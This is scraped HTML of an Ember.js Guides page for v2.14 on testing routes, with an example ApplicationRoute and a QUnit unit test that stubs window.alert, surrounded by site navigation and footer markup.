4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Testing Routes - Testing - Ember Guides</title> <meta name="description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Testing Routes - Testing - Ember Guides"> <!----> <meta property="og:description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Testing Routes - Testing - Ember Guides"> <!----> <meta name="twitter:description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember257151" class="es-header ember-view" role="banner"><div id="ember257152" class="ember-view"><div class="container"> <nav id="ember257153" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember257154" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember257155" class="navbar-collapse collapse ember-view"><ul id="ember257156" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember257157" class="dropdown nav-item ember-view"> <a href="#" id="ember257158" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember257160" class="dropdown nav-item ember-view"> <a href="#" id="ember257161" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember257163" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember257164" class="dropdown nav-item ember-view"> <a href="#" id="ember257165" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember257167" class="dropdown nav-item ember-view"> <a href="#" id="ember257168" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember257170" class="nav navbar-nav ember-view"> <form> <div id="ember257171" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember257172" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember257173" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember257174" class="ember-basic-dropdown ember-view"> <div aria-label="v2.14.0" aria-owns="ember-basic-dropdown-content-ember257174" tabindex="0" data-ebd-id="ember257174-trigger" role="button" id="ember257175" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.14 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember257174" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember257179" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember257182" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/getting-started" id="ember257183" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember257184" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257186" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/tutorial" id="ember257187" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember257188" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257190" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/object-model" id="ember257191" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember257192" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257194" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/routing" id="ember257195" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember257196" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257198" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/templates" id="ember257199" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember257200" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257202" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/components" id="ember257203" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember257204" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257206" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/controllers" id="ember257207" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember257208" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257210" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/models" id="ember257211" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember257212" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257214" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/applications" id="ember257215" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember257216" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257218" class="cp-Panel cp-is-open ember-view"><a href="/v2.14.0/testing" id="ember257219" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember257220" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember257221" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/index" id="ember257223" class="ember-view"> Introduction </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/acceptance" id="ember257225" class="ember-view"> Acceptance Tests </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/unit-testing-basics" id="ember257227" class="ember-view"> Unit Testing Basics </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-components" id="ember257229" class="ember-view"> Testing Components </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-helpers" id="ember257231" class="ember-view"> Testing Helpers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-controllers" id="ember257233" class="ember-view"> Testing Controllers </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v2.14.0/testing/testing-routes" id="ember257235" class="selected ember-view"> Testing Routes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/testing-models" id="ember257237" class="ember-view"> Testing Models </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257239" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/ember-inspector" id="ember257240" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember257241" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257243" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/addons-and-dependencies" id="ember257244" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember257245" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257247" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/configuring-ember" id="ember257248" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember257249" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257251" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/contributing" id="ember257252" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember257253" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257255" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/glossary" id="ember257256" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember257257" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember257258" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.14.0. <a href="/release/testing/testing-routes" id="ember257259" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.14.0/testing/testing-routes.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Testing Routes </h1> <hr> <div id="ember257260" class="ember-view"><p><em>Unit testing methods and computed properties follows previous patterns shown in <a href="../unit-testing-basics/">Unit Testing Basics</a> because Ember.Route extends Ember.Object.</em></p> <p>Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better coverage for routes because routes are typically used to perform transitions and load data, both of which are tested more easily in full context rather than isolation.</p> <p>That being said, sometimes it is important to unit test your routes. For example, let's say we'd like to have an alert that can be triggered from anywhere within our application. The alert function <code>displayAlert</code> should be put into the <code>ApplicationRoute</code> because all actions and events bubble up to it from sub-routes and controllers.</p> <blockquote> <p>By default, Ember CLI does not generate a file for its application route. To extend the behavior of the ember application route we will run the command <code>ember generate route application</code>. Ember CLI does however generate an application template, so when asked whether we want to overwrite <code>app/templates/application.hbs</code> we will answer 'n'.</p> </blockquote> <pre><code class="javascript language-javascript"data-filename=app/routes/application.js>import Ember from 'ember'; export default Ember.Route.extend({ actions: { displayAlert(text) { this._displayAlert(text); } }, _displayAlert(text) { alert(text); } }); </code></pre> <p>In this route we've <a href="http://en.wikipedia.org/wiki/Separation_of_concerns">separated our concerns</a>: The action <code>displayAlert</code> contains the code that is called when the action is received, and the private function <code>_displayAlert</code> performs the work. While not necessarily obvious here because of the small size of the functions, separating code into smaller chunks (or "concerns"), allows it to be more readily isolated for testing, which in turn allows you to catch bugs more easily.</p> <p>Here is an example of how to unit test this route:</p> <pre><code class="javascript language-javascript"data-filename=tests/unit/routes/application-test.js>import { moduleFor, test } from 'ember-qunit'; let originalAlert; moduleFor('route:application', 'Unit | Route | application', { beforeEach() { originalAlert = window.alert; // store a reference to window.alert }, afterEach() { window.alert = originalAlert; // restore window.alert } }); test('should display an alert', function(assert) { assert.expect(2); // with moduleFor, the subject returns an instance of the route let route = this.subject(); // stub window.alert to perform a qunit test const expectedTextFoo = 'foo'; window.alert = (text) =&gt; { assert.equal(text, expectedTextFoo, `expect alert to display ${expectedTextFoo}`); }; // call the _displayAlert function which triggers the qunit test above route._displayAlert(expectedTextFoo); // set up a second stub to perform a test with the actual action const expectedTextBar = 'bar'; window.alert = (text) =&gt; { assert.equal(text, expectedTextBar, `expected alert to display ${expectedTextBar}`); }; // Now use the routes send method to test the actual action route.send('displayAlert', expectedTextBar); }); </code></pre> </div> <footer id="ember257261" class="ember-view"> <a href="/v2.14.0/testing/testing-controllers" id="ember257262" class="previous-guide ember-view">Testing Controllers</a> <a href="/v2.14.0/testing/testing-models" id="ember257263" class="next-guide ember-view"> Testing Models </a></footer> </article> </main> <footer id="ember257264" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember257265" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember257266" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember257267" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 